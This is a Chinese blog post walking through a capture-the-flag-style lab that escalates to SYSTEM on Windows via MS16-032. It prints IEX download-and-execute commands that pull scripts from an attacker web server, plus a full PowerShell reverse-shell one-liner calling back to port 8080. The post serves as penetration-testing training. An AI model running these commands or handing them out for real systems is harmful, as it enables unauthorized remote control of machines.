个人介绍:188号安全攻城狮 【甲方安全工程师/CISSP/培训讲师】
目前恶补相关安全知识中,欢迎各位一起技术探讨。
每一次评论/点赞,都将成为我继续分享的动力

MS16-032简介

该漏洞影响从Vista到Windows 10的所有Windows版本(包括服务器版本)。

  • Windows Vista
  • Windows 7
  • Windows 8.1
  • Windows 10
  • Windows 2008 Server
  • Windows 2012 Server

利用条件:

  1. 目标系统需要有2个以上的CPU核心 。
  2. PowerShell v2.0及更高版本必须正在运行。

可根据MS16-032(KB3139914)补丁是否安装,来判断当前版本是否可利用。
接下来让我们进行靶场实操,在这里已经省略掉低权限shell获取部分。

靶场实操

1. 提权漏洞枚举

通常,我们可以使用Watson来进行内核类提权漏洞的枚举,但其要求.net框架4.5及以上。当.net框架版本不满足要求时,可以采用其旧版本Sherlock。

在这里,我们先判断一下当前靶机的.net版本

cd C:\windows\microsoft.net\framework>
dir

如图所示,可以看到最高版本为4.0,所以在此我们选择Sherlock进行提权漏洞枚举。接下来,我们需要将Sherlock在远程服务器运行。在这里,我们先本地开启web服务,并放入Sherlock脚本。

python3 -m http.server 80


然后再已经获取到的低权限shell中,进行远程ps脚本下载&执行

# 远程加载模块
IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Sherlock.ps1')
# 查看当前可利用漏洞
Find-AllVulns


通过分析,有效信息如下,其中3个漏洞可利用(Appears Vulnerable状态)

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears VulnerableTitle      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-034?
VulnStatus : Appears VulnerableTitle      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135
VulnStatus : Appears Vulnerable

2. 提权尝试

在这里,我们使用Empire项目中的MS16032的exp:Invoke-MS16032.ps1。然后保存至我们web目录下。

通过该脚本,可以创建一个system权限的新进程。在这里,我们利该漏洞,来创建一个powershell的反弹shell。nishang项目中,进行反弹Shell的源码获取Invoke-PowerShellTcpOneLine.ps1,并将其保存至我们的Web目录下。

$client = New-Object System.Net.Sockets.TCPClient('192.168.xxx.xxx',8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

然后回到在低权限shell中运行如下命令,加载提权脚本,并运行我们的木马

# 加载提权脚本
IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Invoke-MS16032.ps1')# 提权,创建新进程并执行反弹shell
Invoke-MS16032 -Command "IEX(New-Object Net.WebClient).downloadstring('http://192.168.xxx.xxx/Invoke-PowerShellTcpOneLine.ps1')"

3. 其他坑点

需要判断一下当前powershell执行环境,如下图所示,当前powershell环境非64位环境。会导致该提权脚本产生异常。

[Environment]::Is64BitProcess

我们可以通过运行指定目录下的powershell,来切换为64位Shell。如下图所示,可以在通过执行sysnative下的进程,实现切换Shell。

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe

参考资料

  • HTB: Optimum | 0xdf hacks stuff

【安全】靶场实战-通过MS16-032提权相关推荐

  1. 【vulnhub】Lampiao渗透实战(脏牛提权)

    总结 1.该靶机的WEB系统的建站CMS是drupal 7,时刻关注一些cms漏洞 2.在没有思路的时候,try yourself !往往有不同的收获 3.再练练脏牛提权... Lampiao靶机百度 ...

  2. DAY28:Linux、Windows 系统提权

    DAY28:Linux.Windows 系统提权 1.Linux 系统提权 1.1.Linux 系统版本 linux发行版本: • centos • redhat • ubuntu • kali 1. ...

  3. Windows系统安全风险-本地NTLM重放提权

    经我司安全部门研究分析,近期利用NTLM重放机制入侵Windows 系统事件增多,入侵者主要通过Potato程序攻击拥有SYSTEM权限的端口伪造网络身份认证过程,利用NTLM重放机制骗取SYSTEM ...

  4. 提权系列(一)----Windows Service 服务器提权初识与exp提权,mysql提权

    一.初识提权 很多时候我们入侵一个网站的时候,想要的是得到这个服务器的权限,也就是admin权限,但是一般默认得到的是普通用的地权限,权限很小,所以就要通过其他手段,提升自己的权限. 提权是将服务器的 ...

  5. Stapler-1靶场详细教学(7种漏洞利用+5种提权)

    目录 前言 简介 信息收集 0x00 主机发现 0x01 端口探测 0x02 信息收集-1 0x03 信息收集-2 0x04 漏洞利用-1 0x05 信息收集-3 0x06 漏洞利用-2 0x07 漏 ...

  6. Linux通过第三方应用提权实战总结

    Linux提权,前提是拿到了一个低权限的账号,能上传和下载文件,主要思路有: 1.内核提权.网上各种大佬的payload很多,关键在于要能找到利用哪个exp以及具体如何利用.省力点的方法是用searc ...

  7. Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)

    Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...

  8. 安全测试(三) 服务器安全 渗透测试 常规服务器安全漏洞 高危端口暴露、弱口令密码、暴力破解、服务器提权、Mysql数据库提权等 浅谈《社会工程学》实战案例

    文章目录 一.前言 二.服务器安全 高危端口 2.1 端口号(Port number) 2.2 常见端口后及其用途表 2.3 端口号 扫描工具介绍 2.4 端口号 端口说明 攻击技巧 2.5 安全警示 ...

  9. 基于Ha-Joker靶场的完整渗透测试演示直至提权(root)

    信息收集 ┌──(root㉿kali)-[~] └─# arp-scan -l # 通过ARP-scan进行快速的主机发现, 如下图我们猜测10.10.10.138可能是目标主机 ┌──(root㉿k ...

最新文章

  1. 这个库厉害了,自动补全Python代码,节省50%敲码时间
  2. 大数据WEB阶段(十九)Threadlocal
  3. 循环队列及C语言实现三
  4. django-orm查询功能词
  5. OSTU大律法二值化原理
  6. BZOJ 3779 LCT 线段树 DFS序 坑
  7. 利用gganimate可视化R-Ladies发展情况
  8. 数据库设计经验谈[2]
  9. OC, OD门和线与逻辑
  10. 简述冯诺依曼体系结构计算机的工作原理。
  11. cmd快捷键和常用命令
  12. 【资源篇】在线下载B站视频(免安装)
  13. 手游运营数据分析指标百科全说
  14. java中floor和ceil_floor() 和 ceil()函数
  15. 在Visual Studio.NET中更改颜色-黑色与白色
  16. 相机标定:像素焦距和毫米焦距的转换,根据内参计算FOV
  17. ModelSim-Altera路径找不到或者不正确的解决办法
  18. tplink 有良知的路由器厂商
  19. 大学毕业5年后拉开大家差距的原因
  20. protege类的关系_protege5.2介绍

热门文章

  1. 期刊影响因子的中外算法差别很大
  2. 出色性能+创新设计 新华三AMD服务器
  3. 基于Django框架的视频播放器设计
  4. 华为鸿蒙国内厂商适配,华为再放大招!鸿蒙系统将适配高通/联发科手机:获国产厂商力挺...
  5. 泰坦尼克号第n遍重温泪点
  6. 【Java实例】王者荣耀阵容展示
  7. 判断一个序列是否为栈的有效输出序列
  8. SAN SWITCH zoning 划分及some command
  9. 时间函数、取整函数、取余函数
  10. [摘录]第3章 终局谈判策略